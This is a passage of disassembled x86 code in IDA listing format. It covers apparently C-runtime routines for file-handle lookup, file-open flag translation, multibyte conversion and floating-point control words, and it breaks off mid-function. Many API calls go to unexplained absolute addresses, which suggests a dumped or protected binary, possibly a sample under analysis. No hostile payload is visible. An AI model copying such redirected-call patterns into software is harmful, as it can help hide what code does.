loc_42407B: ; CODE XREF: sub_424030+41j
push eax
push 0FFFFFFF5h
jmp short loc_424083
; ---------------------------------------------------------------------------
loc_424080: ; CODE XREF: sub_424030+3Ej
push eax
push 0FFFFFFF6h
loc_424083: ; CODE XREF: sub_424030+49j
; sub_424030+4Ej
nop
call near ptr 2640000h
loc_424089: ; CODE XREF: sub_424030+38j
; sub_424030+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_4240A7
; ---------------------------------------------------------------------------
loc_424093: ; CODE XREF: sub_424030+Cj
; sub_424030+2Aj ...
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
loc_4240A7: ; CODE XREF: sub_424030+61j
pop edi
pop esi
retn
sub_424030 endp
; =============== S U B R O U T I N E =======================================
sub_4240AA proc near ; CODE XREF: sub_41E312+32p
; sub_41E312+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD140
jnb short loc_4240D2
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD040[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4240D2
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4240D2: ; CODE XREF: sub_4240AA+Aj
; sub_4240AA+23j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
retn
sub_4240AA endp
; =============== S U B R O U T I N E =======================================
sub_4240E7 proc near ; CODE XREF: sub_41E3F0+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD140
jnb short loc_424130
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4DD040[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_424130
push eax
call sub_4240AA
pop ecx
push eax
call near ptr 2630856h
nop
test eax, eax
jnz short loc_424125
nop
call near ptr 26C0CC8h
jmp short loc_424127
; ---------------------------------------------------------------------------
loc_424125: ; CODE XREF: sub_4240E7+34j
xor eax, eax
loc_424127: ; CODE XREF: sub_4240E7+3Cj
test eax, eax
jz short locret_42413D
mov dword_4DBDE0, eax
loc_424130: ; CODE XREF: sub_4240E7+Aj
; sub_4240E7+22j
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
locret_42413D: ; CODE XREF: sub_4240E7+42j
retn
sub_4240E7 endp
; =============== S U B R O U T I N E =======================================
sub_42413E proc near ; DATA XREF: ___:00429020o
mov eax, dword_4DD020
push esi
push 14h
test eax, eax
pop esi
jnz short loc_424152
mov eax, 200h
jmp short loc_424158
; ---------------------------------------------------------------------------
loc_424152: ; CODE XREF: sub_42413E+Bj
cmp eax, esi
jge short loc_42415D
mov eax, esi
loc_424158: ; CODE XREF: sub_42413E+12j
mov dword_4DD020, eax
loc_42415D: ; CODE XREF: sub_42413E+16j
push 4
push eax
call sub_4250B2
pop ecx
mov dword_4DC01C, eax
test eax, eax
pop ecx
jnz short loc_424191
push 4
push esi
mov dword_4DD020, esi
call sub_4250B2
pop ecx
mov dword_4DC01C, eax
test eax, eax
pop ecx
jnz short loc_424191
push 1Ah
call sub_41E2C9
pop ecx
loc_424191: ; CODE XREF: sub_42413E+30j
; sub_42413E+49j
xor ecx, ecx
mov eax, offset off_43D568
loc_424198: ; CODE XREF: sub_42413E+6Ej
mov edx, dword_4DC01C
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43D7E8
jl short loc_424198
xor edx, edx
mov ecx, offset dword_43D578
loc_4241B5: ; CODE XREF: sub_42413E+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4DD040[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_4241D2
test eax, eax
jnz short loc_4241D5
loc_4241D2: ; CODE XREF: sub_42413E+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_4241D5: ; CODE XREF: sub_42413E+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43D5D8
jl short loc_4241B5
pop esi
retn
sub_42413E endp
; =============== S U B R O U T I N E =======================================
sub_4241E3 proc near ; DATA XREF: ___:00429030o
; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES
call sub_41E487
cmp byte_4DBE1C, 0
jz short locret_4241F6
jmp loc_425163
; ---------------------------------------------------------------------------
locret_4241F6: ; CODE XREF: sub_4241E3+Cj
retn
sub_4241E3 endp
; =============== S U B R O U T I N E =======================================
sub_4241F7 proc near ; CODE XREF: sub_41F8E3+32p
; sub_41FE2A+6Cp ...
arg_0 = dword ptr 4
inc dword_4DBFAC
push 1000h
call sub_41BEB5
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_424220
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_424231
; ---------------------------------------------------------------------------
loc_424220: ; CODE XREF: sub_4241F7+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_424231: ; CODE XREF: sub_4241F7+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_4241F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42423B proc near ; CODE XREF: sub_41FBCD+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_424261
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_42426C
; ---------------------------------------------------------------------------
loc_424261: ; CODE XREF: sub_42423B+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_42426C: ; CODE XREF: sub_42423B+24j
mov eax, 8000h
test ecx, eax
jnz short loc_424286
test ch, 40h
jnz short loc_424282
cmp dword_4DBFF8, eax
jz short loc_424286
loc_424282: ; CODE XREF: sub_42423B+3Dj
or [ebp+var_1], 80h
loc_424286: ; CODE XREF: sub_42423B+38j
; sub_42423B+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_4242BE
dec eax
jz short loc_4242B5
dec eax
jz short loc_4242AC
loc_424297: ; CODE XREF: sub_42423B+9Fj
; sub_42423B+E8j ...
mov dword_4DBDDC, 16h
mov dword_4DBDE0, ebx
jmp loc_4244D1
; ---------------------------------------------------------------------------
loc_4242AC: ; CODE XREF: sub_42423B+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_4242C5
; ---------------------------------------------------------------------------
loc_4242B5: ; CODE XREF: sub_42423B+57j
mov [ebp+var_C], 40000000h
jmp short loc_4242C5
; ---------------------------------------------------------------------------
loc_4242BE: ; CODE XREF: sub_42423B+54j
mov [ebp+var_C], 80000000h
loc_4242C5: ; CODE XREF: sub_42423B+78j
; sub_42423B+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_4242F3
cmp eax, 20h
jz short loc_4242EA
cmp eax, 30h
jz short loc_4242E1
cmp eax, 40h
jnz short loc_424297
mov [ebp+var_10], esi
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242E1: ; CODE XREF: sub_42423B+9Aj
mov [ebp+var_10], 2
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242EA: ; CODE XREF: sub_42423B+95j
mov [ebp+var_10], 1
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242F3: ; CODE XREF: sub_42423B+90j
mov [ebp+var_10], ebx
loc_4242F6: ; CODE XREF: sub_42423B+A4j
; sub_42423B+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_424340
jz short loc_42433B
cmp ecx, ebx
jz short loc_42433B
cmp ecx, edi
jz short loc_424332
cmp ecx, 200h
jz short loc_424359
cmp ecx, 300h
jnz loc_424297
mov [ebp+var_8], 2
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424332: ; CODE XREF: sub_42423B+D8j
mov [ebp+var_8], 4
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_42433B: ; CODE XREF: sub_42423B+D0j
; sub_42423B+D4j
mov [ebp+var_8], esi
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424340: ; CODE XREF: sub_42423B+CEj
cmp ecx, 500h
jz short loc_424362
cmp ecx, 600h
jz short loc_424359
cmp ecx, edx
jz short loc_424362
jmp loc_424297
; ---------------------------------------------------------------------------
loc_424359: ; CODE XREF: sub_42423B+E0j
; sub_42423B+113j
mov [ebp+var_8], 5
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424362: ; CODE XREF: sub_42423B+10Bj
; sub_42423B+117j
mov [ebp+var_8], 1
loc_424369: ; CODE XREF: sub_42423B+F5j
; sub_42423B+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_424388
mov ecx, dword_4DBDE4
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_424388
push 1
pop esi
loc_424388: ; CODE XREF: sub_42423B+138j
; sub_42423B+148j
test al, 40h
jz short loc_424396
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_424396: ; CODE XREF: sub_42423B+14Fj
test ah, 10h
jz short loc_42439D
or esi, edi
loc_42439D: ; CODE XREF: sub_42423B+15Ej
test al, 20h
jz short loc_4243A9
or esi, 8000000h
jmp short loc_4243B3
; ---------------------------------------------------------------------------
loc_4243A9: ; CODE XREF: sub_42423B+164j
test al, 10h
jz short loc_4243B3
or esi, 10000000h
loc_4243B3: ; CODE XREF: sub_42423B+16Cj
; sub_42423B+170j
call sub_423F24
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_4243D4
and dword_4DBDE0, 0
mov dword_4DBDDC, 18h
jmp short loc_424412
; ---------------------------------------------------------------------------
loc_4243D4: ; CODE XREF: sub_42423B+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call near ptr 2740762h
nop
mov esi, eax
cmp esi, edi
jz short loc_424405
push esi
nop
call near ptr 2640234h
test eax, eax
jnz short loc_424419
push esi
nop
call near ptr 26A0000h
loc_424405: ; CODE XREF: sub_42423B+1B6j
call near ptr 26C0CC8h
nop
push eax
call sub_420C7F
pop ecx
loc_424412: ; CODE XREF: sub_42423B+197j
mov eax, edi
jmp loc_4244EF
; ---------------------------------------------------------------------------
loc_424419: ; CODE XREF: sub_42423B+1C1j
cmp eax, 2
jnz short loc_424424
or [ebp+var_1], 40h
jmp short loc_42442D
; ---------------------------------------------------------------------------
loc_424424: ; CODE XREF: sub_42423B+1E1j
cmp eax, 3
jnz short loc_42442D
or [ebp+var_1], 8
loc_42442D: ; CODE XREF: sub_42423B+1E7j
; sub_42423B+1ECj
push esi
push ebx
call sub_423FB9
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DD040h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_4244D6
test al, 80h
jz short loc_4244D6
test byte ptr [ebp+arg_4], 2
jz short loc_4244D6
push 2
push 0FFFFFFFFh
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_42448B
cmp dword_4DBDE0, 83h
jz short loc_4244D6
jmp short loc_4244CA
; ---------------------------------------------------------------------------
loc_42448B: ; CODE XREF: sub_42423B+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F9BC
add esp, 0Ch
test eax, eax
jnz short loc_4244B8
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_4244B8
push [ebp+var_10]
push ebx
call sub_4251BB
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4244CA
loc_4244B8: ; CODE XREF: sub_42423B+265j
; sub_42423B+26Bj
push 0
push 0
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_4244D6
loc_4244CA: ; CODE XREF: sub_42423B+24Ej
; sub_42423B+27Bj
push ebx
call sub_41E312
pop ecx
loc_4244D1: ; CODE XREF: sub_42423B+6Cj
or eax, 0FFFFFFFFh
jmp short loc_4244EF
; ---------------------------------------------------------------------------
loc_4244D6: ; CODE XREF: sub_42423B+221j
; sub_42423B+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_4244ED
test byte ptr [ebp+arg_4], 8
jz short loc_4244ED
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_4244ED: ; CODE XREF: sub_42423B+29Fj
; sub_42423B+2A5j
mov eax, ebx
loc_4244EF: ; CODE XREF: sub_42423B+1D9j
; sub_42423B+299j
pop edi
pop esi
pop ebx
leave
retn
sub_42423B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4244F4 proc near ; CODE XREF: sub_41FDB5+5Ep
; sub_420988+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427C30
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DBFB4
xor ebx, ebx
cmp eax, ebx
jnz short loc_424563
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427920
push esi
nop
call near ptr 2620083h
test eax, eax
jz short loc_424541
mov eax, esi
jmp short loc_42455E
; ---------------------------------------------------------------------------
loc_424541: ; CODE XREF: sub_4244F4+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4CB88C
push esi
push ebx
nop
call near ptr 2630000h
test eax, eax
jz loc_424629
push 2
pop eax
loc_42455E: ; CODE XREF: sub_4244F4+4Bj
mov dword_4DBFB4, eax
loc_424563: ; CODE XREF: sub_4244F4+2Fj
cmp eax, 2
jnz short loc_42458C
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_424574
mov eax, dword_4DBE84
loc_424574: ; CODE XREF: sub_4244F4+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
nop
call near ptr 2630000h
jmp loc_42462B
; ---------------------------------------------------------------------------
loc_42458C: ; CODE XREF: sub_4244F4+72j
cmp eax, 1
jnz loc_424629
cmp [ebp+arg_10], ebx
jnz short loc_4245A2
mov eax, dword_4DBE94
mov [ebp+arg_10], eax
loc_4245A2: ; CODE XREF: sub_4244F4+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
nop
call near ptr 2730000h
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_424629
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_41BF70
add esp, 0Ch
jmp short loc_4245F8
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_4245F8: ; CODE XREF: sub_4244F4+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_424629
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
nop
call near ptr 2730000h
cmp eax, ebx
jz short loc_424629
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
nop
call near ptr 2620083h
jmp short loc_42462B
; ---------------------------------------------------------------------------
loc_424629: ; CODE XREF: sub_4244F4+61j
; sub_4244F4+9Bj ...
xor eax, eax
loc_42462B: ; CODE XREF: sub_4244F4+93j
; sub_4244F4+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4244F4 endp
; =============== S U B R O U T I N E =======================================
sub_42463D proc near ; CODE XREF: sub_41FE2A+61p
; sub_420CE6+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD140
jb short loc_42464C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42464C: ; CODE XREF: sub_42463D+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD040[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_42463D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424663 proc near ; CODE XREF: sub_41FF3F+2D4p
; sub_41FF3F+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_42466F
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42466F: ; CODE XREF: sub_424663+8j
cmp dword_4DBE84, 0
jnz short loc_42468A
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_4246BC
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42468A: ; CODE XREF: sub_424663+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43D084
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4DBE94
nop
call near ptr 28611BCh
test eax, eax
jz short loc_4246BC
cmp [ebp+arg_0], 0
jz short loc_4246C9
loc_4246BC: ; CODE XREF: sub_424663+1Ej
; sub_424663+51j
mov dword_4DBDDC, 2Ah
or eax, 0FFFFFFFFh
loc_4246C9: ; CODE XREF: sub_424663+57j
pop ebp
retn
sub_424663 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4246CB proc near ; CODE XREF: sub_420DB0+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_4246EE
cmp [ebp+arg_8], ebx
jz short loc_4246EE
mov al, [esi]
cmp al, bl
jnz short loc_4246F4
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4246EE
mov [eax], bx
loc_4246EE: ; CODE XREF: sub_4246CB+Cj
; sub_4246CB+11j ...
xor eax, eax
loc_4246F0: ; CODE XREF: sub_4246CB+42j
; sub_4246CB+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4246F4: ; CODE XREF: sub_4246CB+17j
cmp dword_4DBE84, ebx
jnz short loc_42470F
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_42470A
movzx ax, al
mov [ecx], ax
loc_42470A: ; CODE XREF: sub_4246CB+36j
; sub_4246CB+C0j
push 1
pop eax
jmp short loc_4246F0
; ---------------------------------------------------------------------------
loc_42470F: ; CODE XREF: sub_4246CB+2Fj
mov ecx, off_43CE78
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42476C
mov eax, dword_43D084
cmp eax, 1
jle short loc_424753
cmp [ebp+arg_8], eax
jl short loc_42475D
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4DBE94
nop
call near ptr 2730000h
test eax, eax
mov eax, dword_43D084
jnz short loc_4246F0
loc_424753: ; CODE XREF: sub_4246CB+5Cj
cmp [ebp+arg_8], eax
jb short loc_42475D
cmp [esi+1], bl
jnz short loc_4246F0
loc_42475D: ; CODE XREF: sub_4246CB+61j
; sub_4246CB+8Bj ...
mov dword_4DBDDC, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4246F0
; ---------------------------------------------------------------------------
loc_42476C: ; CODE XREF: sub_4246CB+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4DBE94
nop
call near ptr 2730000h
test eax, eax
jnz loc_42470A
jmp short loc_42475D
sub_4246CB endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4247A0 proc near ; CODE XREF: sub_420DB0+797p
; sub_420DB0+7E7p
cmp cl, 40h
jnb short loc_4247BA
cmp cl, 20h
jnb short loc_4247B0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_4247B0: ; CODE XREF: sub_4247A0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_4247BA: ; CODE XREF: sub_4247A0+3j
xor eax, eax
xor edx, edx
retn
sub_4247A0 endp
; =============== S U B R O U T I N E =======================================
sub_4247BF proc near ; CODE XREF: sub_421826+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_42480B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_4247DD
test al, 80h
jz short loc_42480B
test al, 2
jnz short loc_42480B
loc_4247DD: ; CODE XREF: sub_4247BF+14j
cmp dword ptr [esi+8], 0
jnz short loc_4247EA
push esi
call sub_4241F7
pop ecx
loc_4247EA: ; CODE XREF: sub_4247BF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_4247FA
cmp dword ptr [esi+4], 0
jnz short loc_42480B
inc eax
mov [esi], eax
loc_4247FA: ; CODE XREF: sub_4247BF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_424811
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_424817
inc eax
mov [esi], eax
loc_42480B: ; CODE XREF: sub_4247BF+9j
; sub_4247BF+18j ...
or eax, 0FFFFFFFFh
loc_42480E: ; CODE XREF: sub_4247BF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424811: ; CODE XREF: sub_4247BF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_424817: ; CODE XREF: sub_4247BF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_42480E
sub_4247BF endp
; =============== S U B R O U T I N E =======================================
sub_42482D proc near ; CODE XREF: sub_421E16+52p
xor eax, eax
retn
sub_42482D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424830 proc near ; CODE XREF: sub_424865+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_42487B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_42490D
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_424830 endp
; =============== S U B R O U T I N E =======================================
sub_424865 proc near ; CODE XREF: sub_422102+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_424830
pop ecx
pop ecx
retn
sub_424865 endp
; =============== S U B R O U T I N E =======================================
sub_42487B proc near ; CODE XREF: sub_424830+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_42488C
push 10h
pop eax
loc_42488C: ; CODE XREF: sub_42487B+Cj
test bl, 4
jz short loc_424893
or al, 8
loc_424893: ; CODE XREF: sub_42487B+14j
test bl, 8
jz short loc_42489A
or al, 4
loc_42489A: ; CODE XREF: sub_42487B+1Bj
test bl, 10h
jz short loc_4248A1
or al, 2
loc_4248A1: ; CODE XREF: sub_42487B+22j
test bl, 20h
jz short loc_4248A8
or al, 1
loc_4248A8: ; CODE XREF: sub_42487B+29j
test bl, 2
jz short loc_4248B2
or eax, 80000h
loc_4248B2: ; CODE XREF: sub_42487B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_4248EA
cmp edx, 400h
jz short loc_4248E7
cmp edx, 800h
jz short loc_4248E3
cmp edx, esi
jnz short loc_4248EA
or eax, edi
jmp short loc_4248EA
; ---------------------------------------------------------------------------
loc_4248E3: ; CODE XREF: sub_42487B+5Ej
or eax, ebp
jmp short loc_4248EA
; ---------------------------------------------------------------------------
loc_4248E7: ; CODE XREF: sub_42487B+56j
or ah, 1
loc_4248EA: ; CODE XREF: sub_42487B+4Ej
; sub_42487B+62j ...
and ecx, edi
pop esi
jz short loc_4248FA
cmp ecx, ebp
jnz short loc_4248FF
or eax, 10000h
jmp short loc_4248FF
; ---------------------------------------------------------------------------
loc_4248FA: ; CODE XREF: sub_42487B+72j
or eax, 20000h
loc_4248FF: ; CODE XREF: sub_42487B+76j
; sub_42487B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_42490C
or eax, 40000h
locret_42490C: ; CODE XREF: sub_42487B+8Aj
retn
sub_42487B endp
; =============== S U B R O U T I N E =======================================
sub_42490D proc near ; CODE XREF: sub_424830+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42491D
push 1
pop eax
loc_42491D: ; CODE XREF: sub_42490D+Bj
test bl, 8
jz short loc_424924
or al, 4
loc_424924: ; CODE XREF: sub_42490D+13j
test bl, 4
jz short loc_42492B
or al, 8
loc_42492B: ; CODE XREF: sub_42490D+1Aj
test bl, 2
jz short loc_424932
or al, 10h
loc_424932: ; CODE XREF: sub_42490D+21j
test bl, 1
jz short loc_424939
or al, 20h
loc_424939: ; CODE XREF: sub_42490D+28j
test ebx, 80000h
jz short loc_424943
or al, 2
loc_424943: ; CODE XREF: sub_42490D+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_424970
cmp ecx, 100h
jz short loc_42496D
cmp ecx, esi
jz short loc_424968
cmp ecx, edx
jnz short loc_424970
or ah, 0Ch
jmp short loc_424970
; ---------------------------------------------------------------------------
loc_424968: ; CODE XREF: sub_42490D+50j
or ah, 8
jmp short loc_424970
; ---------------------------------------------------------------------------
loc_42496D: ; CODE XREF: sub_42490D+4Cj
or ah, 4
loc_424970: ; CODE XREF: sub_42490D+44j
; sub_42490D+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_424986
cmp ecx, 10000h
jnz short loc_424988
or eax, esi
jmp short loc_424988
; ---------------------------------------------------------------------------
loc_424986: ; CODE XREF: sub_42490D+6Bj
or eax, edx
loc_424988: ; CODE XREF: sub_42490D+73j
; sub_42490D+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_424995
or ah, 10h
locret_424995: ; CODE XREF: sub_42490D+83j
retn
sub_42490D endp
; =============== S U B R O U T I N E =======================================
sub_424996 proc near ; CODE XREF: sub_424A35+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4249DB
inc esi
cmp esi, 3
jge short loc_4249D6
lea eax, [eax+esi*4]
loc_4249C8: ; CODE XREF: sub_424996+3Ej
cmp dword ptr [eax], 0
jnz short loc_4249DB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4249C8
loc_4249D6: ; CODE XREF: sub_424996+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4249DB: ; CODE XREF: sub_424996+27j
; sub_424996+35j
xor eax, eax
pop esi
retn
sub_424996 endp
; =============== S U B R O U T I N E =======================================
sub_4249DF proc near ; CODE XREF: sub_424A35+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_425301
add esp, 0Ch
dec esi
js short loc_424A31
lea edi, [ebx+esi*4]
loc_424A18: ; CODE XREF: sub_4249DF+50j
test eax, eax
